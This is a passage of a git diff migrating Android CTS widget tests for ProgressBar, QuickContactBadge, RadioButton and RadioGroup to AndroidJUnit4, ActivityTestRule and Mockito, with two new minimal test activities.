+        // Indeterminate tint applied when setIndeterminateTintList() called before
+        // setIndeterminate()
+        verify(mockIndeterminateDrawable, times(1)).setTintList(
+                TestUtils.colorStateListOf(Color.RED));
     }
 
-    private class MockDrawable extends Drawable {
-        private boolean mCalledDraw = false;
-        private boolean mCalledSetTint = false;
-
-        @Override
-        public void draw(Canvas canvas) {
-            mCalledDraw = true;
-        }
-
-        @Override
-        public int getOpacity() {
-            return 0;
-        }
-
-        @Override
-        public void setAlpha(int alpha) {
-        }
-
-        @Override
-        public void setColorFilter(ColorFilter cf) {
-        }
-
-        @Override
-        public void setTintList(ColorStateList tint) {
-            super.setTintList(tint);
-            mCalledSetTint = true;
-        }
-
-        public boolean hasCalledSetTint() {
-            return mCalledSetTint;
-        }
-
-        public boolean hasCalledDraw() {
-            return mCalledDraw;
-        }
-
-        public void reset() {
-            mCalledDraw = false;
-            mCalledSetTint = false;
-        }
-
-    }
-
-    public void testOnMeasure() {
-        // onMeasure() is implementation details, do NOT test
-    }
-
-    public void testOnSizeChange() {
-        // onSizeChanged() is implementation details, do NOT test
-    }
-
+    @UiThreadTest
+    @Test
     public void testVerifyDrawable() {
-        MockProgressBar mockProgressBar = new MockProgressBar(mContext);
-        assertTrue(mockProgressBar.verifyDrawable(null));
+        MockProgressBar mockProgressBar =
+                (MockProgressBar) mActivity.findViewById(R.id.progress_custom);
 
-        Drawable d1 = mContext.getResources().getDrawable(R.drawable.blue);
-        Drawable d2 = mContext.getResources().getDrawable(R.drawable.red);
-        Drawable d3 = mContext.getResources().getDrawable(R.drawable.yellow);
+        Drawable d1 = mActivity.getDrawable(R.drawable.blue);
+        Drawable d2 = mActivity.getDrawable(R.drawable.red);
+        Drawable d3 = mActivity.getDrawable(R.drawable.yellow);
 
         mockProgressBar.setBackgroundDrawable(d1);
-        assertTrue(mockProgressBar.verifyDrawable(null));
         assertTrue(mockProgressBar.verifyDrawable(d1));
         assertFalse(mockProgressBar.verifyDrawable(d2));
         assertFalse(mockProgressBar.verifyDrawable(d3));
 
         mockProgressBar.setIndeterminateDrawable(d2);
-        assertTrue(mockProgressBar.verifyDrawable(null));
         assertTrue(mockProgressBar.verifyDrawable(d1));
         assertTrue(mockProgressBar.verifyDrawable(d2));
         assertFalse(mockProgressBar.verifyDrawable(d3));
 
         mockProgressBar.setProgressDrawable(d3);
-        assertFalse(mockProgressBar.verifyDrawable(null));
         assertTrue(mockProgressBar.verifyDrawable(d1));
         assertTrue(mockProgressBar.verifyDrawable(d2));
         assertTrue(mockProgressBar.verifyDrawable(d3));
     }
 
-    public void testDrawableStateChanged() {
-        // drawableStateChanged() is implementation details, do NOT test
-    }
-
+    @UiThreadTest
+    @Test
     public void testOnSaveAndRestoreInstanceState() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
         int oldProgress = 1;
-        int oldSecondaryProgress = progressBar.getMax() - 1;
-        progressBar.setProgress(oldProgress);
-        progressBar.setSecondaryProgress(oldSecondaryProgress);
-        assertEquals(oldProgress, progressBar.getProgress());
-        assertEquals(oldSecondaryProgress, progressBar.getSecondaryProgress());
+        int oldSecondaryProgress = mProgressBarHorizontal.getMax() - 1;
+        mProgressBarHorizontal.setProgress(oldProgress);
+        mProgressBarHorizontal.setSecondaryProgress(oldSecondaryProgress);
+        assertEquals(oldProgress, mProgressBarHorizontal.getProgress());
+        assertEquals(oldSecondaryProgress, mProgressBarHorizontal.getSecondaryProgress());
 
-        Parcelable state = progressBar.onSaveInstanceState();
+        Parcelable state = mProgressBarHorizontal.onSaveInstanceState();
 
         int newProgress = 2;
-        int newSecondaryProgress = progressBar.getMax() - 2;
-        progressBar.setProgress(newProgress);
-        progressBar.setSecondaryProgress(newSecondaryProgress);
-        assertEquals(newProgress, progressBar.getProgress());
-        assertEquals(newSecondaryProgress, progressBar.getSecondaryProgress());
+        int newSecondaryProgress = mProgressBarHorizontal.getMax() - 2;
+        mProgressBarHorizontal.setProgress(newProgress);
+        mProgressBarHorizontal.setSecondaryProgress(newSecondaryProgress);
+        assertEquals(newProgress, mProgressBarHorizontal.getProgress());
+        assertEquals(newSecondaryProgress, mProgressBarHorizontal.getSecondaryProgress());
 
-        progressBar.onRestoreInstanceState(state);
-        assertEquals(oldProgress, progressBar.getProgress());
-        assertEquals(oldSecondaryProgress, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.onRestoreInstanceState(state);
+        assertEquals(oldProgress, mProgressBarHorizontal.getProgress());
+        assertEquals(oldSecondaryProgress, mProgressBarHorizontal.getSecondaryProgress());
     }
 
     /*
      * Mock class for ProgressBar to test protected methods
      */
-    private class MockProgressBar extends ProgressBar {
-        private boolean mCalledInvalidate = false;
-
-        /**
-         * @param context
-         */
+    public static class MockProgressBar extends ProgressBar {
         public MockProgressBar(Context context) {
             super(context);
         }
 
+        public MockProgressBar(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
         @Override
         protected boolean verifyDrawable(Drawable who) {
             return super.verifyDrawable(who);
         }
-
-        @Override
-        protected void onSizeChanged(int w, int h, int oldw, int oldh) {
-            super.onSizeChanged(w, h, oldw, oldh);
-        }
-
-        @Override
-        protected synchronized void onMeasure(int widthMeasureSpec,
-                int heightMeasureSpec) {
-            super.onMeasure(widthMeasureSpec, heightMeasureSpec);
-        }
-
-        @Override
-        protected synchronized void onDraw(Canvas canvas) {
-            super.onDraw(canvas);
-        }
-
-        @Override
-        protected void drawableStateChanged() {
-            super.drawableStateChanged();
-        }
-
-        public void invalidate(int l, int t, int r, int b) {
-            mCalledInvalidate = true;
-            super.invalidate(l, t, r, b);
-        }
-
-        public void invalidate() {
-            mCalledInvalidate = true;
-            super.invalidate();
-        }
-
-        public boolean hasCalledInvalidate() {
-            return mCalledInvalidate;
-        }
-
-        public void reset() {
-            mCalledInvalidate = false;
-        }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
index a65bbe9..0bec808 100644
--- a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
@@ -16,6 +16,9 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.content.ContentUris;
 import android.content.Context;
 import android.content.ContextWrapper;
@@ -25,21 +28,28 @@
 import android.os.UserHandle;
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.Contacts;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.widget.QuickContactBadge;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-public class QuickContactBadgeTest extends InstrumentationTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class QuickContactBadgeTest {
     @UiThreadTest
+    @Test
     public void testPrioritizedMimetype() throws InterruptedException {
         final String plainMimeType = "text/plain";
         final Uri nonExistentContactUri = ContentUris.withAppendedId(Contacts.CONTENT_URI, 0);
         final CountDownLatch latch = new CountDownLatch(1);
-        final Context context = new ContextWrapper(getInstrumentation().getContext()) {
+        final Context context = new ContextWrapper(InstrumentationRegistry.getTargetContext()) {
             @Override
             public void startActivity(Intent intent) {
                 testCallback(intent);
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonCtsActivity.java b/tests/tests/widget/src/android/widget/cts/RadioButtonCtsActivity.java
new file mode 100644
index 0000000..442d5f7
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.RadioButton;
+
+/**
+ * A minimal application for {@link RadioButton} test.
+ */
+public class RadioButtonCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.radiobutton_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index eb9387b..2daa6ea 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -16,67 +16,188 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
-
-import android.content.Context;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.util.AttributeSet;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
 import android.widget.RadioButton;
 
-/**
- * Test {@link RadioButton}.
- */
-public class RadioButtonTest extends InstrumentationTestCase {
-    private Context mContext;
+import com.android.compatibility.common.util.CtsTouchUtils;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RadioButtonTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private RadioButton mRadioButton;
+
+    @Rule
+    public ActivityTestRule<RadioButtonCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RadioButtonCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mRadioButton = (RadioButton) mActivity.findViewById(R.id.radio_button);
     }
 
+    @Test
     public void testConstructor() {
-        AttributeSet attrs = mContext.getResources().getLayout(R.layout.radiogroup_1);
-        assertNotNull(attrs);
+        new RadioButton(mActivity);
+        new RadioButton(mActivity, null);
+        new RadioButton(mActivity, null, android.R.attr.radioButtonStyle);
+        new RadioButton(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_CompoundButton_RadioButton);
+        new RadioButton(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_CompoundButton_RadioButton);
+        new RadioButton(mActivity, null, 0,
+                android.R.style.Widget_Material_CompoundButton_RadioButton);
+        new RadioButton(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_CompoundButton_RadioButton);
+    }
 
-        new RadioButton(mContext);
-        try {
-            new RadioButton(null);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new RadioButton(null);
+    }
 
-        new RadioButton(mContext, attrs);
-        try {
-            new RadioButton(null, attrs);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
-        new RadioButton(mContext, null);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new RadioButton(null, null);
+    }
 
-        new RadioButton(mContext, attrs, 0);
-        try {
-            new RadioButton(null, attrs, 0);
-            fail("The constructor should throw NullPointerException when param Context is null.");
-        } catch (NullPointerException e) {
-        }
-        new RadioButton(mContext, null, 0);
-        new RadioButton(mContext, attrs, Integer.MAX_VALUE);
-        new RadioButton(mContext, attrs, Integer.MIN_VALUE);
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new RadioButton(null, null, 0);
     }
 
     @UiThreadTest
-    public void testToggle() {
-        RadioButton button = new RadioButton(mContext);
-        assertFalse(button.isChecked());
+    @Test
+    public void testText() {
+        assertTrue(TextUtils.equals(
+                mActivity.getString(R.string.hello_world), mRadioButton.getText()));
 
-        button.toggle();
-        assertTrue(button.isChecked());
+        mRadioButton.setText("new text");
+        assertTrue(TextUtils.equals("new text", mRadioButton.getText()));
 
-        // Can't be toggled if it is checked
-        button.toggle();
-        assertTrue(button.isChecked());
+        mRadioButton.setText(R.string.text_name);
+        assertTrue(TextUtils.equals(
+                mActivity.getString(R.string.text_name), mRadioButton.getText()));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessChecked() {
+        final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(RadioButton.OnCheckedChangeListener.class);
+        mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mRadioButton.isChecked());
+
+        // not checked -> not checked
+        mRadioButton.setChecked(false);
+        verifyZeroInteractions(mockCheckedChangeListener);
+        assertFalse(mRadioButton.isChecked());
+
+        // not checked -> checked
+        mRadioButton.setChecked(true);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        assertTrue(mRadioButton.isChecked());
+
+        // checked -> checked
+        mRadioButton.setChecked(true);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        assertTrue(mRadioButton.isChecked());
+
+        // checked -> not checked
+        mRadioButton.setChecked(false);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, false);
+        assertFalse(mRadioButton.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testToggleViaApi() {
+        final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(RadioButton.OnCheckedChangeListener.class);
+        mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mRadioButton.isChecked());
+
+        // toggle to checked
+        mRadioButton.toggle();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        assertTrue(mRadioButton.isChecked());
+
+        // try toggle to not checked - this should leave the radio button in checked state
+        mRadioButton.toggle();
+        assertTrue(mRadioButton.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @Test
+    public void testToggleViaEmulatedTap() {
+        final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(RadioButton.OnCheckedChangeListener.class);
+        mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mRadioButton.isChecked());
+
+        // tap to checked
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mRadioButton);
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        assertTrue(mRadioButton.isChecked());
+
+        // tap to not checked - this should leave the radio button in checked state
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mRadioButton);
+        assertTrue(mRadioButton.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testToggleViaPerformClick() {
+        final RadioButton.OnCheckedChangeListener mockCheckedChangeListener =
+                mock(RadioButton.OnCheckedChangeListener.class);
+        mRadioButton.setOnCheckedChangeListener(mockCheckedChangeListener);
+        verifyZeroInteractions(mockCheckedChangeListener);
+
+        assertFalse(mRadioButton.isChecked());
+
+        // click to checked
+        mRadioButton.performClick();
+        verify(mockCheckedChangeListener, times(1)).onCheckedChanged(mRadioButton, true);
+        assertTrue(mRadioButton.isChecked());
+
+        // click to not checked - this should leave the radio button in checked state
+        mRadioButton.performClick();
+        assertTrue(mRadioButton.isChecked());
+
+        verifyNoMoreInteractions(mockCheckedChangeListener);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroupCtsActivity.java b/tests/tests/widget/src/android/widget/cts/RadioGroupCtsActivity.java
new file mode 100755
index 0000000..26f8703
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroupCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.RadioGroup;
+
+/**
+ * A minimal application for {@link RadioGroup} test.
+ */
+public class RadioGroupCtsActivity extends Activity {
+    /**
+     * Called when the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.radiogroup_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
index b2154e2..869102b 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
@@ -16,15 +16,19 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
+import android.app.Activity;
 import android.content.Context;
-import android.test.InstrumentationTestCase;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.Gravity;
@@ -34,9 +38,16 @@
 import android.widget.LinearLayout;
 import android.widget.RadioButton;
 import android.widget.RadioGroup;
-import android.widget.RelativeLayout;
 import android.widget.RadioGroup.LayoutParams;
 import android.widget.RadioGroup.OnCheckedChangeListener;
+import android.widget.RelativeLayout;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 import java.util.Vector;
@@ -44,64 +55,62 @@
 /**
  * Test {@link RadioGroup}.
  */
-public class RadioGroupTest extends InstrumentationTestCase {
-    private static final int BUTTON_ID_0 = 0;
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RadioGroupTest {
+    private Activity mActivity;
+    private RadioGroup mRadioGroup;
 
-    private static final int BUTTON_ID_1 = 1;
+    @Rule
+    public ActivityTestRule<RadioGroupCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RadioGroupCtsActivity.class);
 
-    private static final int BUTTON_ID_2 = 2;
-
-    private static final int BUTTON_ID_3 = 3;
-
-    /** the IDs of the buttons inside the group are 0, 1, 2, 3. */
-    private RadioGroup mDefaultRadioGroup;
-
-    private Context mContext;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        // the IDs of the buttons inside the group are 0, 1, 2, 3
-        mDefaultRadioGroup = createDefaultRadioGroup();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mRadioGroup = (RadioGroup) mActivity.findViewById(R.id.radio_group);
     }
 
+    @Test
     public void testConstructors() {
-        new RadioGroup(mContext);
+        new RadioGroup(mActivity);
 
         AttributeSet attrs = getAttributeSet(R.layout.radiogroup_1);
-        new RadioGroup(mContext, attrs);
-        new RadioGroup(mContext, null);
+        new RadioGroup(mActivity, attrs);
+        new RadioGroup(mActivity, null);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetOnHierarchyChangeListener() {
         MockOnHierarchyChangeListener listener = new MockOnHierarchyChangeListener();
-        mDefaultRadioGroup.setOnHierarchyChangeListener(listener);
+        mRadioGroup.setOnHierarchyChangeListener(listener);
 
-        View button3 = mDefaultRadioGroup.findViewById(BUTTON_ID_3);
+        View button3 = mRadioGroup.findViewById(R.id.radio_button_3);
         listener.reset();
-        mDefaultRadioGroup.removeView(button3);
-        assertSame(mDefaultRadioGroup, listener.getOnChildViewRemovedParentParam());
+        mRadioGroup.removeView(button3);
+        assertSame(mRadioGroup, listener.getOnChildViewRemovedParentParam());
         assertSame(button3, listener.getOnChildViewRemovedChildParam());
 
         listener.reset();
-        mDefaultRadioGroup.addView(button3);
-        assertSame(mDefaultRadioGroup, listener.getOnChildViewAddedParentParam());
+        mRadioGroup.addView(button3);
+        assertSame(mRadioGroup, listener.getOnChildViewAddedParentParam());
         assertSame(button3, listener.getOnChildViewAddedChildParam());
 
         // Set listener to null
-        mDefaultRadioGroup.setOnHierarchyChangeListener(null);
+        mRadioGroup.setOnHierarchyChangeListener(null);
         // and no exceptions thrown in the following method calls
-        mDefaultRadioGroup.removeView(button3);
-        mDefaultRadioGroup.addView(button3);
+        mRadioGroup.removeView(button3);
+        mRadioGroup.addView(button3);
     }
 
+    @UiThreadTest
+    @Test
     public void testInternalPassThroughHierarchyChangeListener() {
-        mDefaultRadioGroup = new RadioGroup(mContext);
-        RadioButton newButton = new RadioButton(mContext);
+        RadioButton newButton = new RadioButton(mActivity);
 
         assertEquals(View.NO_ID, newButton.getId());
-        mDefaultRadioGroup.addView(newButton, new RadioGroup.LayoutParams(
+        mRadioGroup.addView(newButton, new RadioGroup.LayoutParams(
                 RadioGroup.LayoutParams.WRAP_CONTENT, RadioGroup.LayoutParams.WRAP_CONTENT));
         // aapt-generated IDs have a nonzero high byte; check that the ID generated by
         // RadioGroup falls within a range that will not collide with aapt IDs.
@@ -109,15 +118,15 @@
     }
 
     @UiThreadTest
+    @Test
     public void testInternalCheckedStateTracker() {
-        mDefaultRadioGroup = new RadioGroup(mContext);
-        RadioButton newButton = new RadioButton(mContext);
+        RadioButton newButton = new RadioButton(mActivity);
         // inject the tracker to the button when the button is added by
         // CompoundButton#setOnCheckedChangeWidgetListener(OnCheckedChangeListener)
-        mDefaultRadioGroup.addView(newButton, new RadioGroup.LayoutParams(
+        mRadioGroup.addView(newButton, new RadioGroup.LayoutParams(
                 RadioGroup.LayoutParams.WRAP_CONTENT, RadioGroup.LayoutParams.WRAP_CONTENT));
         MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        mDefaultRadioGroup.setOnCheckedChangeListener(listener);
+        mRadioGroup.setOnCheckedChangeListener(listener);
 
         listener.reset();
         newButton.setChecked(true);
@@ -130,7 +139,7 @@
         assertHasCalledOnCheckedChanged(listener);
 
         // remove the tracker from the button when the button is removed
-        mDefaultRadioGroup.removeView(newButton);
+        mRadioGroup.removeView(newButton);
         listener.reset();
         newButton.setChecked(true);
         assertHaveNotCalledOnCheckedChanged(listener);
@@ -141,152 +150,156 @@
     }
 
     @UiThreadTest
+    @Test
     public void testGetCheckedRadioButtonId() {
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
 
-        mDefaultRadioGroup.check(BUTTON_ID_0);
-        assertEquals(BUTTON_ID_0, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(R.id.radio_button_0);
+        assertEquals(R.id.radio_button_0, mRadioGroup.getCheckedRadioButtonId());
 
-        mDefaultRadioGroup.check(BUTTON_ID_3);
-        assertEquals(BUTTON_ID_3, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(R.id.radio_button_3);
+        assertEquals(R.id.radio_button_3, mRadioGroup.getCheckedRadioButtonId());
 
         // None of the buttons inside the group has of of the following IDs
-        mDefaultRadioGroup.check(4);
-        assertEquals(4, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(4);
+        assertEquals(4, mRadioGroup.getCheckedRadioButtonId());
 
-        mDefaultRadioGroup.check(-1);
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(-1);
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
 
-        mDefaultRadioGroup.check(-3);
-        assertEquals(-3, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(-3);
+        assertEquals(-3, mRadioGroup.getCheckedRadioButtonId());
     }
 
     @UiThreadTest
+    @Test
     public void testClearCheck() {
         MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        mDefaultRadioGroup.setOnCheckedChangeListener(listener);
+        mRadioGroup.setOnCheckedChangeListener(listener);
 
-        mDefaultRadioGroup.check(BUTTON_ID_3);
-        assertEquals(BUTTON_ID_3, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(R.id.radio_button_3);
+        assertEquals(R.id.radio_button_3, mRadioGroup.getCheckedRadioButtonId());
 
         listener.reset();
-        mDefaultRadioGroup.clearCheck();
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.clearCheck();
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
         assertHasCalledOnCheckedChanged(listener);
         // uncheck the original button
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, BUTTON_ID_3);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, R.id.radio_button_3);
 
         // None of the buttons inside the group has of of the following IDs
-        mDefaultRadioGroup.check(4);
-        assertEquals(4, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(4);
+        assertEquals(4, mRadioGroup.getCheckedRadioButtonId());
 
         listener.reset();
-        mDefaultRadioGroup.clearCheck();
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.clearCheck();
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
         // why the method is called while none of the button is checked or unchecked?
         assertHasCalledOnCheckedChanged(listener);
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, -1);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, -1);
 
-        mDefaultRadioGroup.check(-1);
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.check(-1);
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
 
         listener.reset();
-        mDefaultRadioGroup.clearCheck();
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.clearCheck();
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
         // why the method is called while none of the button is checked or unchecked?
         assertHasCalledOnCheckedChanged(listener);
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, -1);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, -1);
     }
 
     @UiThreadTest
+    @Test
     public void testCheck() {
         MockOnCheckedChangeListener listener = new MockOnCheckedChangeListener();
-        mDefaultRadioGroup.setOnCheckedChangeListener(listener);
-        assertEquals(-1, mDefaultRadioGroup.getCheckedRadioButtonId());
+        mRadioGroup.setOnCheckedChangeListener(listener);
+        assertEquals(-1, mRadioGroup.getCheckedRadioButtonId());
 
         listener.reset();
-        mDefaultRadioGroup.check(BUTTON_ID_0);
+        mRadioGroup.check(R.id.radio_button_0);
         assertHasCalledOnCheckedChanged(listener);
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, BUTTON_ID_0);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, R.id.radio_button_0);
 
         listener.reset();
-        mDefaultRadioGroup.check(BUTTON_ID_1);
+        mRadioGroup.check(R.id.radio_button_1);
         assertHasCalledOnCheckedChanged(listener);
         // uncheck the original button
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, BUTTON_ID_0);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, R.id.radio_button_0);
         // check the new button
-        assertOnCheckedChangedParams(listener, 1, mDefaultRadioGroup, BUTTON_ID_1);
+        assertOnCheckedChangedParams(listener, 1, mRadioGroup, R.id.radio_button_1);
 
         listener.reset();
-        mDefaultRadioGroup.check(-1);
+        mRadioGroup.check(-1);
         assertHasCalledOnCheckedChanged(listener);
         // uncheck the original button
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, BUTTON_ID_1);
-        assertOnCheckedChangedParams(listener, 1, mDefaultRadioGroup, -1);
+        assertOnCheckedChangedParams(listener, 0, mRadioGroup, R.id.radio_button_1);
+        assertOnCheckedChangedParams(listener, 1, mRadioGroup, -1);
 
         // None of the buttons inside the group has of of the following IDs
         listener.reset();
-        mDefaultRadioGroup.check(-1);
+        mRadioGroup.check(-1);
         // why the method is called while none of the inside buttons has been changed
         assertHasCalledOnCheckedChanged(listener);
-        assertOnCheckedChangedParams(listener, 0, mDefaultRadioGroup, -1);
